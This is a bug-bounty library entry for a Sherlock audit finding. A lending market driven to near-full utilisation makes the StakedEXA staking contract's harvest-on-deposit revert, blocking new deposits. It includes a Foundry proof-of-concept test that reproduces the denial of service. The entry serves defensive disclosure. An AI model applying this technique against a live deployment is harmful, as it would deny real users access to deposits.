# Market utilization ratio near 100% will DoS deposits as harvest tries to withdraw and reverts

StakedEXA harvest withdraws from a near-100%-utilized Exactly market on deposit, reverting and DoSing new deposits while boosting existing stakers' yield.

- Payout: Audit contest
- Severity: medium
- Program: Exactly Stacking Contracts
- Found by: 0x73696d616f
- Disclosed: 2024-07-17
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-07-exactly-stacking-contracts-judging/issues/45
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-07-exactly-stacking-contracts%3AM-5
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:business-logic vuln:dos

**Target:** StakedEXA staking contract / Exactly Market provider withdrawal
**Root cause:** StakedEXA::_update() harvests by withdrawing assets from the market provider without capping to available liquidity; when utilization is near 100%, the withdrawal would leave deposits below borrows and reverts.
**Steps:**
1. Deploy market with provider asset and enable in auditor
2. Provider deposits 1000e18 and approves stEXA
3. User deposits 1000e18 and borrows ~90% of it
4. skip(1000 weeks) so interest pushes utilization to ~100%
5. Call `stEXA.deposit(assets, address(this))` — harvest attempts provider withdrawal and reverts
**How found:** Code review of StakedEXA::_update() harvest path; noticed the provider withdrawal lacks a liquidity/utilization check and reasoned that a fully utilized market would make it revert.
**Exploitation:** Attacker (or any borrower) drives market utilization to 100% by borrowing; subsequent stEXA deposits revert because harvest cannot withdraw from the provider, DoSing new stakers and concentrating yield on existing depositors.
**Insight:** When a staking/vault contract harvests by pulling liquidity from a lending market, check that the withdrawal is bounded by available (non-borrowed) liquidity — full utilization turns any harvest-on-deposit into a deposit DoS.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test DoSing deposits via full utilization**

```
function test_POC_DoSedDeposits_FailsAsMarketIsFullyUtilized() external {
  Auditor auditor = Auditor(address(new ERC1967Proxy(address (new Auditor(18)), "")));

  uint256 assets = 1e18;
  market = Market(address(new ERC1967Proxy(address(new Market(ERC20Solmate(address(providerAsset)), auditor)), "")));
  market.initialize(
    "STEXA",
    3,
    1e18,
    new InterestRateModel(
      IRMParameters({
        minRate: 3.5e16,
        naturalRate: 8e16,
        maxUtilization: 1.1e18,
        naturalUtilization: 0.75e18,
        growthSpeed: 1.1e18,
        sigmoidSpeed: 2.5e18,
        spreadFactor: 0.2e18,
        maturitySpeed: 0.5e18,
        timePreference: 0.01e18,
        fixedAllocation: 0.6e18,
        maxRate: 15_000e16
    }),
    Market(address(0))),
    0.02e18 / uint256(1 days),
    1e17,
    0,
    0.0046e18,
    0.42e18
  );

  auditor.initialize(Auditor.LiquidationIncentive(0, 0));
  auditor.enableMarket(market, MockPriceFeed(auditor.BASE_FEED()), 0.9e18);

  // FIX market change, another issue
  vm.prank(address(stEXA));
  providerAsset.approve(address(market), type(uint256).max);

  stEXA.setMarket(market);

  providerAsset.mint(PROVIDER, 1_000e18);

  vm.startPrank(PROVIDER);
  providerAsset.approve(address(market), type(uint256).max);
  market.deposit(1_000e18, PROVIDER);
  market.approve(address(stEXA), 1_000e18);
  vm.stopPrank();

  address user = makeAddr("user");
  providerAsset.mint(user, 1_000e18);
  vm.startPrank(user);
  providerAsset.approve(address(market), type(uint256).max);
  market.deposit(1_000e18, user);
  market.borrow(1_000e18*90*90/100/100, user, user);
  vm.stopPrank();

  // Random amount of time to make sure borrowed amount reaches deposits
  skip(1000 weeks);

  exa.mint(address(this), assets);

  vm.expectRevert();
  stEXA.deposit(assets, address(this));
}
```

